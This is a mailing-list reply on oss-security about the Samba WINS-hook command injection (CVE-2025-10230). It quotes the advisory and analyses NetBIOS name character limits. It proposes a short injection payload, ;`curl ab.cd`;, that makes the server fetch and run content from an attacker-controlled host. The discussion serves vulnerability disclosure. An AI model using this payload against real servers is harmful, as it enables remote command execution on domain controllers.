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Message-ID: <DS1PR04MB965568BE9229892AA593E6E8C0E8A@DS1PR04MB9655.namprd04.prod.outlook.com> Date: Wed, 15 Oct 2025 23:30:49 +0000 From: "Caveney, Seamus G" <sgcaveney@...ttleschools.org> To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com> Subject: RE: Samba security releases for CVE-2025-10230 and CVE-2025-9640 -----Original Message----- From: Douglas Bagnall <douglas.bagnall@...alyst.net.nz> Sent: Wednesday, October 15, 2025 11:51 AM To: oss-security@...ts.openwall.com Subject: [oss-security] Samba security releases for CVE-2025-10230 and CVE-2025-9640 > [snip] > If a Samba server has WINS support enabled (it is off by default), and it has a 'wins hook' parameter specified, the > program specified by that parameter will be run whenever a WINS name is changed. > The WINS server used by the Samba Active Directory Domain Controller did not validate the names passed to the wins > hook program, and it passed them by inserting them into a string run by a shell. > WINS is an obsolete and trusting protocol, and clients can request any name that fits within the 15 character NetBIOS > limit. This includes some shell metacharacters, making it possible to run arbitrary commands on the host. > The WINS server used by Samba when it is not a domain controller is unaffected. Illegal characters in a NetBIOS hostname are: \ / : * ? " < > | , notably excluding backticks and semicolons. I'm not deeply familiar with the Samba code base but a glance at nbtname.c and winsserver.c seems to suggest that those character limitations aren't enforced at the protocol level, so it might be possible to use pipes, redirects or exec a local binary with a short path. Otherwise, the easiest exploitable payload I can think of would be: ;`curl ab.cd`; which fits the restrictions at only 14 characters (replace with your favourite short-named download tool that writes to STDOUT by default - looks like RHEL-likes are one of the few distros still shipping /usr/bin/GET as part of perl LWP). Requiring an attacker to own a 2-3 letter domain on a 2-3 letter TLD limits the attack surface quite a bit but it isn't unheard of. I'd be interested to see if anybody has a living Samba install configured as a DC with WINS still running in 2025.
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